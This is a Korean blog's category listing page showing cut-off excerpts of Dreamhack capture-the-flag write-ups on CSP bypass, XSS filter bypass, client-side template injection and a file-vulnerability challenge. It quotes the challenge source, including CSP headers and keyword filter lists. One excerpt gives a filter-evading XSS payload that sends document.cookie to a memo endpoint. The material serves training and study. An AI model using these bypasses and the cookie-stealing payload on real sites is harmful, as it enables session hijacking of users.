Web Hacking Advanced

Web Hacking Advanced

[dreamhack] CSP Bypass Advanced

문제풀이@app.after_requestdef add_header(response): global nonce response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'" nonce = os.urandom(16).hex() return responsebase-src이 설정되지않았다. base-src는 설정되지않으면 default로 base 태그를 사용할 수 있도록 허용한다.  태그는 HTML 문서 내에서 상대적인 UR..

Web Hacking Advanced

[dreamhack] CSP Bypass

문제풀이@app.after_requestdef add_header(response): global nonce response.headers[ "Content-Security-Policy" ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'" nonce = os.urandom(16).hex() return responseCSP를 확인해보면, script-src ‘self’ 'nonce-{nonce}'다. 즉, 동일한 도메인이거나 nonce가 일치하는 경우만 script를 로드할 수 있다. nonce는..

Web Hacking Advanced

[dreamhack] XSS Filtering Bypass Advanced

문제풀이def xss_filter(text): _filter = ["script", "on", "javascript"] for f in _filter: if f in text.lower(): return "filtered!!!" advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"] for f in advanced_filter: if f in text.lower(): return "filtered!!!" return text대부분의 핵심 키워드가 필터링되는 상황이다. 이런 상황에서는 브라우저 정규화를 이용해서 우회할 수..

Web Hacking Advanced

[dreamhack] Client Side Template Injection

문제풀이기존 XSS 문제 구성과 동일하다. bot을 대상으로 XSS payload를 전송해서 쿠키를 탈취하는 시나리오다. 차이점이라면 CSP가 걸려있고 bypass가 필요하다. @app.after_requestddef add_header(response): global nonce response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'" nonce = os...

Web Hacking Advanced

[dreamhack] XSS Filtering Bypass

문제풀이xss-1과 마찬가지로 3가지 페이지가 나온다. def xss_filter(text): _filter = ["script", "on", "javascript"] for f in _filter: if f in text.lower(): text = text.replace(f, "") return textxss-1와 차이점이 있다면, 위와 같이 script, on, javascript 를 필터링하고 ""로 replace 한다는 점이다. locatioonn.href='http://127.0.0.1:8000/memo?memo='+document.cookie필터링을 우회한 xss payload다. script, on, javascript를 필터링할 때, 프로세..

Web Hacking Advanced

[dreamhack] File Vulnerability Advanced for linux

문제풀이API_KEY = os.environ.get('API_KEY', None)def key_required(view): @wraps(view) def wrapped_view(**kwargs): apikey = request.args.get('API_KEY', None) if API_KEY and apikey: if apikey == API_KEY: return view(**kwargs) return 'Access Denined !' return wrapped_view@app.route('/', methods=['GET'])def index(): return 'API Index'@app.route(..

keyme
'Web Hacking Advanced' 카테고리의 글 목록 (2 Page)